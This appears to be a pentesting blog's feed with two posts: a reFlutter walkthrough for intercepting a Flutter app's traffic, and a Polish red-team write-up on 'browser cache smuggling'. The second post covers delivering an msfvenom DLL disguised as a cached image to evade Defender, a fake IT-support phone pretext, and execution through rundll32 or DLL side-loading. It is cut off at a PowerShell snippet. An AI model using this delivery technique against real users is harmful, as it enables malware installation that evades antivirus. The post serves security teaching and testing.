tag:blogger.com,1999:blog-74332187457678000302024-03-14T20:13:25.206+01:00w4cky - BSTPentesting, Red Teaming, Security, Asterisk, Linux SysOps, VoIPw4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.comBlogger122125tag:blogger.com,1999:blog-7433218745767800030.post-88880851722668856982024-03-14T20:12:00.004+01:002024-03-14T20:12:33.857+01:00Penetration test flutter app<p><b><br /></b></p><p><b>https://github.com/ptswarm/reFlutter</b></p><p><b><br /></b></p><p><b> ❯ pip3 install --upgrade --force-reinstall reflutter</b></p><p>Defaulting to user installation because normal site-packages is not writeable</p><p>Collecting reflutter</p><p> Downloading reflutter-0.7.8-py3-none-any.whl.metadata (9.0 kB)</p><p>Downloading reflutter-0.7.8-py3-none-any.whl (24 kB)</p><p>Installing collected packages: reflutter</p><p> Attempting uninstall: reflutter</p><p> Found existing installation: reflutter 0.7.7</p><p> Uninstalling reflutter-0.7.7:</p><p> Successfully uninstalled reflutter-0.7.7</p><p> WARNING: The script reflutter is installed in '/Users/michal/Library/Python/3.10/bin' which is not on PATH.</p><p> Consider adding this directory to PATH or, if you prefer to suppress this warning, use --no-warn-script-location.</p><p>Successfully installed reflutter-0.7.8</p><p>USAGE:</p><p>reflutter your.(apk)|(ipa)</p><p>❯ <b>/Users/michal/Library/Python/3.10/bin/reflutter 49406.apk</b></p><p><br /></p><p> Choose an option: </p><p><br /></p><p> 1. Traffic monitoring and interception </p><p> 2. Display absolute code offset for functions</p><p><br /></p><p> [1/2]? 1</p><p><br /></p><p>Example: (192.168.1.154) etc.</p><p>Please enter your BurpSuite IP: 192.168.51.129</p><p><br /></p><p> Wait...</p><p><br /></p><p><br /></p><p>SnapshotHash: ee1eb666c76a5cb7746faf39d0b97547</p><p>The resulting apk file: ./release.RE.apk</p><p>Please sign,align the apk file</p><p><br /></p><p>Configure Burp Suite proxy server to listen on *:8083</p><p>Proxy Tab -> Options -> Proxy Listeners -> Edit -> Binding Tab</p><p><br /></p><p>Then enable invisible proxying in Request Handling Tab</p><p>Support Invisible Proxying -> true</p><p><br /></p><p>DOWNLOAD:</p><p><a href="https://github.com/patrickfav/uber-apk-signer">https://github.com/patrickfav/uber-apk-signer</a></p><p>❯ <b>java -jar uber-apk-signer-1.3.0.jar --apks release.RE.apk</b></p><p>source:</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/Users/michal/Downloads</span></p><p>zipalign location: BUILT_IN </p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/uapksigner-2589864279722257602/mac-zipalign-33_0_216157554363753981716.tmp</span></p><p>keystore:</p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>[0] 161a0018 /private/var/folders/gs/n5db96m941gb7b4ly4r1dw100000gn/T/temp_3968706172894682738_debug.keystore (DEBUG_EMBEDDED)</span></p><p><br /></p><p>01. release.RE.apk</p><p><br /></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>SIGN</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>file: /Users/michal/Downloads/release.RE.apk (221.2 MiB)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>checksum: e28f1257d549f0cb5cfe774a4ad6ffa379be58f91c74aa6630ad720fcafb253a (sha256)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>- zipalign success</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>- sign success</span></p><p><br /></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>VERIFY</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>file: /Users/michal/Downloads/release.RE-aligned-debugSigned.apk (221.34 MiB)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>checksum: 6504671cfc17578de09c94f90fdd79cf9fd838de633f3b25c25ba865f5dab1d2 (sha256)</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>- zipalign verified</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>- signature verified [v3]</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>Subject: CN=Android Debug, OU=Android, O=US, L=US, ST=US, C=US</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>SHA256: 1e08a903aef9c3a721510b64ec764d01d3d094eb954161b62544ea8f187b5953 / SHA256withRSA</span></p><p><span style="white-space: normal;"><span style="white-space: pre;"> </span>Expires: Thu Mar 10 21:10:05 CET 2044</span></p><p><br /></p><p>[Thu Mar 14 20:07:37 CET 2024][v1.3.0]</p><p>Successfully processed 1 APKs and 0 errors in 5.43 seconds.</p><p><br /></p><p>❯ <b>adb install release.RE-aligned-debugSigned.apk</b></p><p>Performing Incremental Install</p><p>Serving...</p><p>Success</p><p>Install command complete in 527 ms</p><p>~/Downloads ❯ All files should be loaded. Notifying the device. </p>w4ckyhttp://www.blogger.com/profile/18012875174650791715noreply@blogger.com0tag:blogger.com,1999:blog-7433218745767800030.post-7466912129888630172023-10-22T09:07:00.003+02:002023-10-22T09:07:53.399+02:00Przemyt pamięci podręcznej przeglądarek - dostarczanie c2 red teaming<p><span style="background-color: black;">Wpis o tym w jak sprytny sposób dostarczyć c2 na komputer użytkownika </span></p><p><span style="background-color: black;"><br /></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Podczas spotkań zespołu Red Team często korzystam z inżynierii społecznej, aby nakłonić jednego z pracowników mojego klienta do uruchomienia mojego złośliwego kodu na swoich komputerach, co umożliwi mi uzyskanie dostępu do jego systemu. </span><span style="box-sizing: border-box; vertical-align: inherit;">Typowe podejście, jakie stosuję, polega na tym, aby do nich zadzwonić, powiedzieć, że jestem z pomocy technicznej IT, a następnie poprosić ich, aby odwiedzili oficjalnie wyglądającą stronę internetową zawierającą kod PowerShell, który muszą uruchomić, aby naprawić niektóre wymyślone problem.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Jednak to podejście jest dobrze znane dostawcom zabezpieczeń i obecnie prawie wszystkie produkty chroniące przed złośliwym oprogramowaniem i EDR będą blokować lub przynajmniej ostrzegać o każdym podejrzanie wyglądającym kodzie PowerShell, zwłaszcza o kodzie, który pobiera ładunek, a następnie go wykonuje. </span><span style="box-sizing: border-box; vertical-align: inherit;">Chciałem znaleźć inny, bardziej ukryty sposób dostarczania ładunku docelowym użytkownikom.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Zatem pierwsze pytanie, jakie sobie zadałem, brzmiało: jakie mechanizmy są używane na co dzień przez system operacyjny, którymi mógłbym manipulować w celu dostarczania złośliwego oprogramowania? </span><span style="box-sizing: border-box; vertical-align: inherit;">I wtedy przyszło mi do głowy: pamięć podręczna przeglądarki!</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">W tym poście na blogu przedstawię technikę, dzięki której osoba atakująca namawia docelowego pracownika do odwiedzenia witryny internetowej za pomocą inżynierii społecznej. </span><span style="box-sizing: border-box; vertical-align: inherit;">Następnie witryna internetowa dyskretnie umieści ładunek DLL w pamięci podręcznej przeglądarki pod postacią obrazu. </span><span style="box-sizing: border-box; vertical-align: inherit;">W tej samej witrynie internetowej użytkownik został zaprojektowany społecznie, aby uruchomić ładnie wyglądający program PowerShell z jedną linijką, który przenosi ładunek DLL do folderu, gdzie zostanie automatycznie wykonany. </span><span style="box-sizing: border-box; vertical-align: inherit;">Pokażę także kilka innych interesujących rzeczy, które znalazłem na temat Defendera podczas przeprowadzania tych badań.</span></span></p><h1 id="i-what-is-browser-cache" style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span><a name='more'></a></span>I/Co to jest pamięć podręczna przeglądarki?</span></h1><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Kiedy poruszasz się po Internecie, Twoja przeglądarka ładuje mnóstwo plików, takich jak obrazy, filmy, CSS, JavaScript i tak dalej. </span><span style="box-sizing: border-box; vertical-align: inherit;">Dwukrotne załadowanie tej samej strony oznacza, że przeglądarka dwukrotnie pobierze te same pliki. </span><span style="box-sizing: border-box; vertical-align: inherit;">Jest to bezużyteczne i zajmuje dużo zasobów procesora oraz przepustowości sieci.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Nowoczesne przeglądarki implementują mechanizm, który pozwala im przechowywać te pliki lokalnie, dzięki czemu nie trzeba ich za każdym razem pobierać. </span><span style="box-sizing: border-box; vertical-align: inherit;">Mechanizm ten nazywany jest pamięcią podręczną przeglądarki.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Jeśli przyjrzymy się, jak działa Firefox w systemie Windows, zobaczymy, że w AppData/Local znajduje się katalog Firefoksa, który przechowuje coś, co wygląda jak pliki z pamięci podręcznej:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/firefox_cache_content.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Jest tam sporo plików, około 300MB:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/browser_cache_size.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black;"><span style="box-sizing: border-box; vertical-align: inherit;">Teraz wyczyśćmy ten katalog i przejdźmy do witryny </span><a href="https://orangecyberdefense.com/" style="box-sizing: border-box; text-decoration-line: none; transition: color 0.35s ease 0s;">https://orangecyberdefense.com</a><span style="box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;"> . </span><span style="box-sizing: border-box; vertical-align: inherit;">Podczas nawigacji zobaczysz, że nowe pliki są dodawane:</span></span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/cache_filling.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Wygląda na to, że znaleźliśmy mechanizm, który automatycznie pobiera pliki!</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Jednak przeglądarki nie będą buforować dowolnego pliku dostarczonego przez serwer. </span><span style="box-sizing: border-box; vertical-align: inherit;">Będzie buforować zasoby statyczne – pliki, których zawartość nie będzie się często zmieniać. </span><span style="box-sizing: border-box; vertical-align: inherit;">W związku z tym nasze przeglądarki będą głównie buforować obrazy, filmy, a czasami JS/CSS. </span><span style="box-sizing: border-box; vertical-align: inherit;">Byłoby wspaniale, gdybyśmy mogli w jakiś sposób oszukać przeglądarkę, aby buforowała pliki zawierające ładunek binarny, taki jak plik DLL lub EXE. </span><span style="box-sizing: border-box; vertical-align: inherit;">Jak to zrobimy?</span></span></p><h1 id="ii-manipulating-browsers-cache-mechanisms" style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">II/ Manipulowanie mechanizmami pamięci podręcznej przeglądarek</span></h1><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Aby wykryć, które pliki zapisać w pamięci podręcznej, przeglądarki będą głównie polegać na nagłówku Content-Type wysyłanym przez serwer WWW. </span><span style="box-sizing: border-box; vertical-align: inherit;">Przykładowo na poniższym zrzucie ekranu widać, że plik „avatar.jpg” został wysłany przez serwer, a jego typ zawartości to „image/jpeg”:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/content_type.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">W systemie Linux serwery WWW zazwyczaj używają pliku /etc/mime.types, aby wiedzieć, jaki typ zawartości powinien zwrócić dla określonego pliku. </span><span style="box-sizing: border-box; vertical-align: inherit;">Zawartość pliku /etc/mime.types zazwyczaj wygląda następująco:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/mimes_types.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Ten plik zawiera wartości typu zawartości powiązane z rozszerzeniem plików. </span><span style="box-sizing: border-box; vertical-align: inherit;">W związku z tym, gdy serwer WWW (w tym przypadku Nginx) zauważy, że żądany jest plik avatar.jpg, sprawdzi plik mime.types, aby określić, jaki jest typ zawartości rozszerzenia .jpg i sprawdzi, czy jest on obraz/jpeg:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Jako atakujący możemy zastąpić te wartości. </span><span style="box-sizing: border-box; vertical-align: inherit;">Pamiętaj, że naszym celem jest wymuszenie pobrania pliku DLL lub EXE. </span><span style="box-sizing: border-box; vertical-align: inherit;">Aby to zrobić, będziemy musieli po prostu zmienić typ zawartości związany z plikami DLL i EXE z application/x-msdos-program na image/jpeg. </span><span style="box-sizing: border-box; vertical-align: inherit;">Można to po prostu zrobić za pomocą następującego wiersza w konfiguracji Nginx:</span></span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">types <span style="box-sizing: border-box;">{</span> <span style="box-sizing: border-box;">}</span> default_type image/jpeg;
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">To unieważnia mapowanie typu MIME w pamięci, a następnie ustawia domyślny typ zawartości na „image/jpg” dla nieznanych typów (tj. wszystkich plików, ponieważ najpierw znukowaliśmy mapowania). </span><span style="box-sizing: border-box; vertical-align: inherit;">Zamknięcie tego w bloku „lokalizacji”, który pasuje tylko do Twojego ładunku, pozwoli osiągnąć pożądany efekt bez przekształcania wszystkiego w „obraz”. </span><span style="box-sizing: border-box; vertical-align: inherit;">Zobacz część III poniżej, aby zapoznać się z pełną konfiguracją w kontekście.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Następnie będziemy musieli wygenerować dwie rzeczy:</span></p><ul style="box-sizing: border-box; font-family: sans-serif;"><li style="box-sizing: border-box;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Biblioteka DLL, w tym przypadku prosta, która uruchomi program calc.exe wygenerowany przez MSFVenom:</span></li></ul><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">msfvenom -a x86 --platform windows -p windows/exec cmd<span style="box-sizing: border-box;">=</span>calc.exe -f dll > calc.dll
</span></code></pre></div><ul style="box-sizing: border-box; font-family: sans-serif;"><li style="box-sizing: border-box;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Strona HTML, na której biblioteka DLL jest osadzona w znaczniku img:</span></li></ul><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-html" data-lang="html" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;"><<span style="box-sizing: border-box;">html</span>><span style="box-sizing: border-box;"></span>
<<span style="box-sizing: border-box;">body</span>><span style="box-sizing: border-box;"></span>
<<span style="box-sizing: border-box;">h1</span>>Browser cache smuggling</<span style="box-sizing: border-box;">h1</span>><span style="box-sizing: border-box;"></span>
<<span style="box-sizing: border-box;">img</span> <span style="box-sizing: border-box;">src</span><span style="box-sizing: border-box;">=</span><span style="box-sizing: border-box;">"calc.dll"</span> <span style="box-sizing: border-box;">style</span><span style="box-sizing: border-box;">=</span><span style="box-sizing: border-box;">"display: none;"</span>></<span style="box-sizing: border-box;">img</span>><span style="box-sizing: border-box;"></span>
</<span style="box-sizing: border-box;">body</span>><span style="box-sizing: border-box;"></span>
</<span style="box-sizing: border-box;">html</span>>
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Następnie opróżniamy pamięć podręczną Firefoksa, ponownie ładujemy stronę HTML i sprawdzamy, czy plik został pobrany:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/cached_dll.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Biorąc pod uwagę rozmiar plików w pamięci podręcznej, możemy stwierdzić, że plik zaczynający się od 75E… Jest naszą biblioteką Calc DLL. </span><span style="box-sizing: border-box; vertical-align: inherit;">Dla pewności możemy załadować w Firefoksie następującą stronę:</span></span></p><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em;"><code style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">about:cache?storage=disk
</span></code></pre><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">To lista wszystkich plików zapisanych w pamięci podręcznej w przeglądarce Firefox. </span><span style="box-sizing: border-box; vertical-align: inherit;">A jeśli przeszukamy ciąg, zobaczymy, że plik calc.dll został zapisany w pamięci podręcznej:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/calc_cache_entry.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Oznacza to, że biblioteka DLL została skutecznie dostarczona do systemu. </span><span style="box-sizing: border-box; vertical-align: inherit;">A co jeśli powiem Ci, że ta metoda dostawy nie jest oznaczana przez program antywirusowy? </span><span style="box-sizing: border-box; vertical-align: inherit;">Tak! </span><span style="box-sizing: border-box; vertical-align: inherit;">Defender działa na komputerze z systemem Windows, który jest moim celem i nic nie krzyczy. </span><span style="box-sizing: border-box; vertical-align: inherit;">Wiem dlaczego? </span><span style="box-sizing: border-box; vertical-align: inherit;">Ponieważ kiedy biblioteka DLL została pobrana i zapisana w pamięci podręcznej, jej nazwa została zmieniona na losową nazwę pliku bez rozszerzenia:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/dll_renamed.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">W związku z tym Defender nie skanuje pliku, a nasza biblioteka DLL może tam pozostać tak długo, jak tego potrzebujemy!</span></p><h1 id="iii-what-about-execution-" style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">III/ A co z wykonaniem?</span></h1><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Typowym sposobem, aby to zadziałało, jest przeprowadzenie inżynierii społecznej użytkownika i poinformowanie go, że coś jest nie tak z jego systemem i że musi uruchomić polecenie, aby to naprawić. </span><span style="box-sizing: border-box; vertical-align: inherit;">Mówimy im, że polecenie znajduje się na oficjalnie wyglądającej stronie internetowej. </span><span style="box-sizing: border-box; vertical-align: inherit;">Po załadowaniu strony biblioteka DLL zostaje zapisana w pamięci podręcznej systemu. </span><span style="box-sizing: border-box; vertical-align: inherit;">Użytkownik pobiera polecenie ze strony internetowej i uruchamia je, co powoduje wykonanie już zapisanej w pamięci podręcznej biblioteki DLL. </span><span style="box-sizing: border-box; vertical-align: inherit;">Dzięki takiemu podejściu zapewniamy, że biblioteka DLL będzie nadal buforowana, gdy użytkownik uruchomi polecenie.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Kluczową różnicą między tym podejściem a inżynierią społeczną polegającą na uruchomieniu przez użytkownika polecenia C2 stager jest to, że polecenie, które wydajemy użytkownikowi, nie pobiera złośliwego ładunku, ponieważ znajduje się on już w systemie i jest przechowywany w pamięci podręcznej przeglądarki. </span><span style="box-sizing: border-box; vertical-align: inherit;">Pomysł jest taki, aby polecenie wyglądało jak najłagodniej, aby uniknąć podejrzeń lub wykrycia, i pozwoliło przeglądarce Firefox wykonać brudną robotę poprzez buforowanie pliku DLL złośliwego oprogramowania.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Aby to zadziałało, potrzebujemy sposobu na znalezienie naszej biblioteki DLL pomiędzy wszystkimi innymi plikami buforowanymi przez przeglądarkę.</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Jeśli przyjrzymy się bliżej rozmiarowi buforowanej biblioteki DLL i rozmiarowi samej biblioteki DLL, zobaczymy, że buforowana biblioteka DLL jest nieco większa:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/size_difference.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Powodem jest to, że plik buforowany to nie tylko biblioteka DLL, to plik zawierający zarówno zawartość pliku DLL, jak i metadane. </span><span style="box-sizing: border-box; vertical-align: inherit;">Wśród metadanych znajduje się odpowiedź HTTP serwera Nginx, zawierająca kilka nagłówków HTTP:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/metadata.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">W związku z tym wszystko, co musimy zrobić, to utworzyć flagę w odpowiedzi HTTP serwera, która pozwoli nam zidentyfikować naszą bibliotekę DLL. </span><span style="box-sizing: border-box; vertical-align: inherit;">Możemy to osiągnąć modyfikując plik konfiguracyjny Nginx w następujący sposób:</span></span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-bash" data-lang="bash" style="box-sizing: border-box; font-family: monospace, monospace; font-size: 0.8em;"><span style="background-color: black;">server <span style="box-sizing: border-box;">{</span>
listen <span style="box-sizing: border-box;">80</span> default_server;<span style="box-sizing: border-box;"></span>
listen <span style="box-sizing: border-box;">[</span>::<span style="box-sizing: border-box;">]</span>:80 default_server;<span style="box-sizing: border-box;"></span>
root /var/www/html;<span style="box-sizing: border-box;"></span>
index index.html index.htm index.nginx-debian.html;<span style="box-sizing: border-box;"></span>
server_name _;<span style="box-sizing: border-box;"></span>
<span style="box-sizing: border-box;"></span>
<span style="box-sizing: border-box;"># Adding the HTTP header TAG used to find the real DLL</span>
location /calc.dll <span style="box-sizing: border-box;">{</span>
<span style="box-sizing: border-box;"># Override the mime type</span>
types <span style="box-sizing: border-box;">{</span> <span style="box-sizing: border-box;">}</span> default_type image/jpeg;<span style="box-sizing: border-box;"></span>
add_header Tag DLLHERE;<span style="box-sizing: border-box;"></span>
<span style="box-sizing: border-box;">}</span>
<span style="box-sizing: border-box;">}</span>
</span></code></pre></div><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Jeśli ponownie załadujemy stronę HTML, zobaczymy, że gdy serwer zostanie poproszony o udostępnienie pliku calc.dll, jego odpowiedź zawiera dodatkowy nagłówek HTTP oznaczający naszą bibliotekę DLL:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/tag_here.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Używając PowerShell lub wsadowo, możemy wyszukać ten konkretny ciąg, aby znaleźć naszą bibliotekę DLL w lokalnym katalogu pamięci podręcznej:</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/dll_found.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">W tym momencie wiemy, gdzie znajduje się nasza biblioteka DLL, więc spróbujmy ją wykonać.</span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Robiąc to badanie, zdałem sobie sprawę, że gdy tylko zmieniłem nazwę pliku pamięci podręcznej na „calc.dll”, program antywirusowy oznaczył go jako złośliwy (msfvenom, wiesz…). </span><span style="box-sizing: border-box; vertical-align: inherit;">Próbowałem wielu rzeczy, dopóki nie zdałem sobie sprawy, że rundll32 może uruchomić bibliotekę DLL, która nie ma rozszerzenia .dll:</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><img alt="" src="https://blog.whiteflag.io/browser-cache-smuggling/dll_without_dot.png" style="box-sizing: border-box; display: block; margin-left: auto; margin-right: auto; max-width: 100%;" /></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Wszystko, co musisz zrobić, to dodać kropkę do nazwy pliku w pamięci podręcznej, a rundll32 go wykona. </span><span style="box-sizing: border-box; vertical-align: inherit;">Co dziwniejsze, widzieliśmy wcześniej, że buforowany plik to nie tylko biblioteka DLL, ale także metadane, jednak rundll32 nie przejmuje się tym i wykona bibliotekę DLL.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;"><span style="box-sizing: border-box; vertical-align: inherit;">Nakłonienie użytkownika do wykonania rundll32 może wywołać pewne alarmy, nawet jeśli biblioteka DLL znajduje się już w systemie plików użytkownika. </span><span style="box-sizing: border-box; vertical-align: inherit;">Alternatywnym podejściem może być po prostu przeniesienie istniejącej biblioteki DLL na miejsce, tak aby została wykonana, gdy użytkownik otworzy inną aplikację. </span><span style="box-sizing: border-box; vertical-align: inherit;">Powoduje to znacznie łagodniejsze polecenie, które samo w sobie niczego nie pobiera ani nie wykonuje, a jedynie przenosi istniejący plik. </span><span style="box-sizing: border-box; vertical-align: inherit;">Jednak to podejście wymaga, aby złośliwa biblioteka DLL nie była statycznie wykrywana przez program AV.</span></span></p><p style="box-sizing: border-box; font-family: sans-serif;"><span style="background-color: black; box-sizing: border-box; vertical-align: inherit;">Następująca linijka programu PowerShell będzie szukać biblioteki DLL w katalogu pamięci podręcznej i przeniesie ją do odpowiedniego miejsca, takiego jak folder OneDrive, w celu uruchomienia ataku polegającego na ładowaniu strony DLL:</span></p><div class="highlight" style="box-sizing: border-box; font-family: sans-serif;"><pre style="border-left: 0.4em solid rgba(87, 204, 138, 0.8); box-sizing: border-box; overflow: auto; padding-left: 1em; tab-size: 4;"><code class="language-powershell" data-lang="powershell" style="box-sizing: border-box; font-family: 